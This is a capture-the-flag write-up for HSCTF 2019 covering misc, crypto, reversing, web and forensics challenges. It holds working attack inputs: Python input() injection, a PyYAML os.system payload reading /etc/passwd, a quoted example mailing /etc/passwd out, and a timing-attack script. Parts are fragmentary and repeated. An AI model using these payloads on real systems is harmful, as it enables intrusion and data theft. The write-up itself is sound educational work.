Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
